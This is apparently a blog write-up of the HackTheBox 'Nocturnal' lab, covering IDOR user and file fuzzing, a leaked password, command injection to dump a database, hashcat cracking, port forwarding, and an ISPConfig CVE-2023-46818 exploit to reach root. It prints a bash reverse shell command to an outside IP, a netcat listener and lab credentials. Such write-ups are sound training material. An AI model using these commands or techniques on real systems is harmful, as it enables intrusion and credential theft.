Post

HackTheBox -Nocturnal

HackTheBox -Nocturnal

Nocturnal hosts a web app with an IDOR that lets me access other users’ files and ultimately expose the admin password. Inside the admin interface I discover a command-injection flaw in the backup utility, which I exploit to gain an initial foothold. After cracking a captured hash to obtain the next user’s credentials, I escalate to root by abusing a PHP code-injection vulnerability in an ISPConfig instance to achieve code execution and an interactive shell.

Enumeration

port scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 nmap -sC -sV -vv -p22,80 10.129.72.217 -o nmap/Nocturnal

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDpf3JJv7Vr55+A/O4p/l+TRCtst7lttqsZHEA42U5Edkqx/Kb8c+F0A4wMCVOMqwyR/PaMdmzAomYGvNYhi3NelwIEqdKKnL+5svrsStqb9XjyShPD9SQK5Su7xBt+/TfJyJFRcsl7ZJdfc6xnNHQITvwa6uZhLsicycj0yf1Mwdzy9hsc8KRY2fhzARBaPUFdG0xte2MkaGXCBuI0tMHsqJpkeZ46MQJbH5oh4zqg2J8KW+m1suAC5toA9kaLgRis8p/wSiLYtsfYyLkOt2U+E+FZs4i3vhVxb9Sjl9QuuhKaGKQN2aKc8ItrK8dxpUbXfHr1Y48HtUejBj+AleMrUMBXQtjzWheSe/dKeZyq8EuCAzeEKdKs4C7ZJITVxEe8toy7jRmBrsDe4oYcQU2J76cvNZomU9VlRv/lkxO6+158WtxqHGTzvaGIZXijIWj62ZrgTS6IpdjP3Yx7KX6bCxpZQ3+jyYN1IdppOzDYRGMjhq5ybD4eI437q6CSL20=
|   256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLcnMmaOpYYv5IoOYfwkaYqI9hP6MhgXCT9Cld1XLFLBhT+9SsJEpV6Ecv+d3A1mEOoFL4sbJlvrt2v5VoHcf4M=
|   256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIASsDOOb+I4J4vIK5Kz0oHmXjwRJMHNJjXKXKsW0z/dy

80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 nmap -sC -sV -vv -p80 10.129.72.217 -o nmap/Nocturnal_port_80

PORT   STATE SERVICE REASON         VERSION
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Welcome to Nocturnal
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: GET HEAD POST
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

web(80)

We visit the site image We get a link to register and create an account. A directory scan using feroxbuster gives some pages .

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 feroxbuster -u http://nocturnal.htb

...[snip]...

404      GET        7l       12w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      161l      327w     3105c http://nocturnal.htb/style.css
200      GET       21l       45w      644c http://nocturnal.htb/login.php
200      GET       21l       45w      649c http://nocturnal.htb/register.php
200      GET       29l      145w     1524c http://nocturnal.htb/
403      GET        7l       10w      162c http://nocturnal.htb/uploads
301      GET        7l       12w      178c http://nocturnal.htb/backups => http://nocturnal.htb/backups/
403      GET        7l       10w      162c http://nocturnal.htb/uploads_admin
403      GET        7l       10w      162c http://nocturnal.htb/uploads_user
403      GET        7l       10w      162c http://nocturnal.htb/uploads_group
403      GET        7l       10w      162c http://nocturnal.htb/uploads_video
403      GET        7l       10w      162c http://nocturnal.htb/uploads2
403      GET        7l       10w      162c http://nocturnal.htb/uploads_forum
403      GET        7l       10w      162c http://nocturnal.htb/uploads_event
403      GET        7l       10w      162c http://nocturnal.htb/uploads3

To access this pages we need a valid account.

Register an account an login. image

Uploaded a php reverse shell file and we get this error: image

When we uploaded a valid file format. image

To downloads the file we can visit http://nocturnal.htb/view.php?username=pentester&file=sample.odt.
The Url is querying the username and the file.We fuzz the user name to get other valid users.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
   ffuf -u 'http://nocturnal.htb/view.php?username=FUZZ&file=*.pdf' -w names.txt -mc 200 -fr "User not found." -H "Cookie: PHPSESSID=n15rreakqu5qaatrmrgt4k0h1a"


        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev'
________________________________________________

 :: Method           : GET
 :: URL              : http://nocturnal.htb/view.php?username=FUZZ&file=*.pdf
 :: Wordlist         : FUZZ: /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
 :: Header           : Cookie: PHPSESSID=n15rreakqu5qaatrmrgt4k0h1a
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200
 :: Filter           : Regexp: User not found.
________________________________________________

admin                   [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 439ms]
amanda                  [Status: 200, Size: 3113, Words: 1175, Lines: 129, Duration: 262ms]
tobias                  [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 235ms]

We have two more valid users amanda and tobias .
Lets see the files amanda has.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 ffuf -u 'http://nocturnal.htb/view.php?username=amanda&file=FUZZ.odt' -w /usr/share/seclists/Discovery/DNS/namelist.txt -mc 200 -fr "File does not exist." -H "Cookie: PHPSESSID=n15rreakqu5qaatrmrgt4k0h1a"

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev'
________________________________________________

 :: Method           : GET
 :: URL              : http://nocturnal.htb/view.php?username=amanda&file=FUZZ.odt
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/namelist.txt
 :: Header           : Cookie: PHPSESSID=n15rreakqu5qaatrmrgt4k0h1a
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200
 :: Filter           : Regexp: File does not exist.
________________________________________________

privacy                 [Status: 200, Size: 20477, Words: 66, Lines: 94, Duration: 484ms]

we download the file http://nocturnal.htb/view.php?username=amanda&file=privacy.odt to get a zip file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 unzip privacy.odt -d amanda_privacy_extract/
Archive:  privacy.odt
 extracting: amanda_privacy_extract/mimetype  
   creating: amanda_privacy_extract/Configurations2/accelerator/
   creating: amanda_privacy_extract/Configurations2/images/Bitmaps/
   creating: amanda_privacy_extract/Configurations2/toolpanel/
   creating: amanda_privacy_extract/Configurations2/floater/
   creating: amanda_privacy_extract/Configurations2/statusbar/
   creating: amanda_privacy_extract/Configurations2/toolbar/
   creating: amanda_privacy_extract/Configurations2/progressbar/
   creating: amanda_privacy_extract/Configurations2/popupmenu/
   creating: amanda_privacy_extract/Configurations2/menubar/
  inflating: amanda_privacy_extract/styles.xml  
  inflating: amanda_privacy_extract/manifest.rdf  
  inflating: amanda_privacy_extract/content.xml  
  inflating: amanda_privacy_extract/meta.xml  
  inflating: amanda_privacy_extract/settings.xml  
 extracting: amanda_privacy_extract/Thumbnails/thumbnail.png  
  inflating: amanda_privacy_extract/META-INF/manifest.xml  

We use grep to get amanda’s password which is in the content.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
...[snip]...
          {
            "span": {
              "_text:style-name": "T1",
              "__prefix": "text",
              "__text": "Amanda"
            },
            "_text:style-name": "P1",
            "__prefix": "text",
            "__text": "Dear \n,"
          },
          {
            "_text:style-name": "P1",
            "__prefix": "text",
            "__text": "Nocturnal has set the following temporary password for you: arHkG7HAI68X8s1J. This password has been set for all our services, so it is essential that you change it on your first login to ensure the security of your account and our infrastructure."
          },

...[snip]...

now we log in: username : amanda password : arHkG7HAI68X8s1J image Redirect to admin panel. image

We get to create a backup as the admin.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 unzip backup_2025-04-17.zip -d admin_backup/
Archive:  backup_2025-04-17.zip
[backup_2025-04-17.zip] admin.php password: 
  inflating: admin_backup/admin.php  
   creating: admin_backup/uploads/
  inflating: admin_backup/uploads/privacy.odt  
  inflating: admin_backup/register.php  
  inflating: admin_backup/login.php  
  inflating: admin_backup/dashboard.php  
  inflating: admin_backup/index.php  
  inflating: admin_backup/view.php   
  inflating: admin_backup/logout.php  
  inflating: admin_backup/style.css  

One of the interesting files is dashboard.php

1
2
3
4
5
6
7
8
9
10
11
<?php
session_start();
if (!isset($_SESSION['user_id'])) {
    header('Location: login.php');
    exit();
}

$db = new SQLite3('../nocturnal_database/nocturnal_database.db');
$user_id = $_SESSION['user_id'];
$username = $_SESSION['username'];
...[snip]...

We get the path to the database file.
Found RCE on the password field and run this sql command to read the database file.

1
bash -c	"sqlite3 /var/www/nocturnal_database/nocturnal_database.db .dump"

image

1
2
3
INSERT INTO users VALUES(1,'admin','d725aeba143f575736b07e045d8ceebb');
INSERT INTO users VALUES(2,'amanda','df8b20aa0c935023f99ea58358fb63c4');
INSERT INTO users VALUES(4,'tobias','55c82b1ccd55ab219b3b109b07d5061d');

we use hash cat to crack this passwords.

1
2
3
4
5
6
7
8
9
10
11
 cat hashes 
admin:d725aeba143f575736b07e045d8ceebb
amanda:df8b20aa0c935023f99ea58358fb63c4
tobias:55c82b1ccd55ab219b3b109b07d5061d

 hashcat -m 0 hashes /usr/share/wordlists/rockyou.txt --username
...[snip]...

 hashcat -m 0 hashes /usr/share/wordlists/rockyou.txt --username --show
tobias:55c82b1ccd55ab219b3b109b07d5061d:slowmotionapocalypse

Now we can ssh in as tobias : slowmotionapocalypse

1
2
3
4
5
tobias@nocturnal:~$ whoami
tobias
tobias@nocturnal:~$ id
uid=1000(tobias) gid=1000(tobias) groups=1000(tobias)

Privilege Escalation

For privilege escalation linpeas showed some listening ports that we can enumerate but first we have to do some port forwarding.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
tobias@nocturnal:~$ netstat -tuln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:587           0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN     
udp        0      0 127.0.0.53:53           0.0.0.0:*                          
udp        0      0 0.0.0.0:68              0.0.0.0:*                          

Ssh port forwarding.

1
 ssh -L 9001:127.0.0.1:8080 tobias@nocturnal.htb 

Visiting the site we get a log in page of ispconfig .
ISPConfig is _an open source hosting control panel for Linux_, licensed under BSD license and developed by the company ISPConfig UG.

image

We login as admin using tibias ssh password exploiting password reuse. image

Hunting for an exploit we get the service is vulnerable to RCE CVE-2023-46818 . Running the exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 python3 exploit.py http://127.0.0.1:9001 admin slowmotionapocalypse
[+] Target URL: http://127.0.0.1:9001/
[+] Logging in with username 'admin' and password 'slowmotionapocalypse'
[+] Injecting shell
[+] Launching shell

ispconfig-shell# whoami
root


ispconfig-shell# id
uid=0(root) gid=0(root) groups=0(root)


ispconfig-shell# bash -c "bash -i >& /dev/tcp/10.10.16.32/1297 0>&1"

We get a stable shell on our machine that we can do some after root staff and get to understand the machine better.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 nc -nlvp 1297
listening on [any] 1297 ...
connect to [10.10.16.32] from (UNKNOWN) [10.129.74.233] 41288
bash: cannot set terminal process group (936): Inappropriate ioctl for device
bash: no job control in this shell
root@nocturnal:/usr/local/ispconfig/interface/web/admin# 

root@nocturnal:/usr/local/ispconfig/interface/web/admin# python3 -c 'import pty; pty.spawn("/bin/bash")'
<in# python3 -c 'import pty; pty.spawn("/bin/bash")'  
root@nocturnal:/usr/local/ispconfig/interface/web/admin# export TERM=xterm
export TERM=xterm
root@nocturnal:/usr/local/ispconfig/interface/web/admin#


This post is licensed under CC BY 4.0 by the author.